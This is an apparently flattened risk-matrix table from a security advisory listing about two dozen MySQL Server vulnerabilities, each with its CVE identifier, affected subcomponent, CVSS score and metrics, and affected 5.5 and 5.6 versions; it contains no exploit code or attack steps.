CVE-2014-6491MySQL ServerMySQL ProtocolSERVER:SSL:yaSSLYes7.5NetworkLowNonePartial+Partial+Partial+5.5.39 and earlier, 5.6.20 and earlier
CVE-2014-6500MySQL ServerMySQL ProtocolSERVER:SSL:yaSSLYes7.5NetworkLowNonePartial+Partial+Partial+5.5.39 and earlier, 5.6.20 and earlier
CVE-2014-6469MySQL ServerMySQL ProtocolSERVER:OPTIMIZERNo6.8NetworkLowSingleNoneNoneComplete5.5.39 and eariler, 5.6.20 and earlier
CVE-2014-0224MySQL ServerMySQL ProtocolSERVER:SSL:OpenSSLYes6.8NetworkMediumNonePartialPartialPartial5.6.19 and earlierSee Note 1
CVE-2014-6530MySQL ServerMySQL ProtocolCLIENT:MYSQLDUMPNo6.5NetworkLowSinglePartial+Partial+Partial+5.5.38 and earlier, 5.6.19 and earlier
CVE-2014-6555MySQL ServerMySQL ProtocolSERVER:DMLNo6.5NetworkLowSinglePartial+Partial+Partial+5.5.39 and earlier, 5.6.20 and earlier
CVE-2014-6489MySQL ServerMySQL ProtocolSERVER:SPNo5.5NetworkLowSingleNonePartialPartial+5.6.19 and earlier
CVE-2012-5615MySQL ServerMySQL ProtocolSERVER:PRIVILEGES AUTHENTICATION PLUGIN APIYes5.0NetworkLowNonePartialNoneNone5.5.38 and earlier, 5.6.19 and earlier
CVE-2014-6559MySQL ServerMySQL ProtocolC API SSL CERTIFICATE HANDLINGYes4.3NetworkMediumNonePartial+NoneNone5.5.39 and earlier, 5.6.20 and earlier
CVE-2014-6494MySQL ServerMySQL ProtocolCLIENT:SSL:yaSSLYes4.3NetworkMediumNoneNoneNonePartial+5.5.39 and earlier, 5.6.20 and earlier
CVE-2014-6496MySQL ServerMySQL ProtocolCLIENT:SSL:yaSSLYes4.3NetworkMediumNoneNoneNonePartial+5.5.39 and earlier, 5.6.20 and earlier
CVE-2014-6495MySQL ServerMySQL ProtocolSERVER:SSL:yaSSLYes4.3NetworkMediumNoneNoneNonePartial5.5.38 and earlier, 5.6.19 and earlier
CVE-2014-6478MySQL ServerMySQL ProtocolSERVER:SSL:yaSSLYes4.3NetworkMediumNoneNonePartialNone5.5.38 and earlier, 5.6.19 and earlier
CVE-2014-4274MySQL ServerMySQL ProtocolSERVER:MyISAMNo4.1LocalMediumSinglePartial+Partial+Partial+5.5.38 and earlier, 5.6.19 and earlier
CVE-2014-4287MySQL ServerMySQL ProtocolSERVER:CHARACTER SETSNo4.0NetworkLowSingleNoneNonePartial+5.5.38 and earlier, 5.6.19 and earlier
CVE-2014-6520MySQL ServerMySQL ProtocolSERVER:DDLNo4.0NetworkLowSingleNoneNonePartial+5.5.38 and earlier
CVE-2014-6484MySQL ServerMySQL ProtocolSERVER:DMLNo4.0NetworkLowSingleNoneNonePartial+5.5.38 and earlier, 5.6.19 and earlier
CVE-2014-6464MySQL ServerMySQL ProtocolSERVER:INNODB DML FOREIGN KEYSNo4.0NetworkLowSingleNoneNonePartial+5.5.39 and earlier, 5.6.20 and earlier
CVE-2014-6564MySQL ServerMySQL ProtocolSERVER:INNODB FULLTEXT SEARCH DMLNo4.0NetworkLowSingleNoneNonePartial+5.6.19 and earlier
CVE-2014-6505MySQL ServerMySQL ProtocolSERVER:MEMORY STORAGE ENGINENo4.0NetworkLowSingleNoneNonePartial+5.5.38 and earlier, 5.6.19 and earlier
CVE-2014-6474MySQL ServerMemcachedSERVER:MEMCACHEDNo3.5NetworkMediumSingleNoneNonePartial+5.6.19 and earlier
CVE-2014-6463MySQL ServerMySQL ProtocolSERVER:REPLICATION ROW FORMAT BINARY LOG DMLNo3.3NetworkLowMultipleNoneNonePartial+5.5.38 and earlier, 5.6.19 and earlier
CVE-2014-6551MySQL ServerMySQL ProtocolCLIENT:MYSQLADMINNo2.1LocalLowNonePartialNoneNone5.5.38 and earlier, 5.6.19 and earlier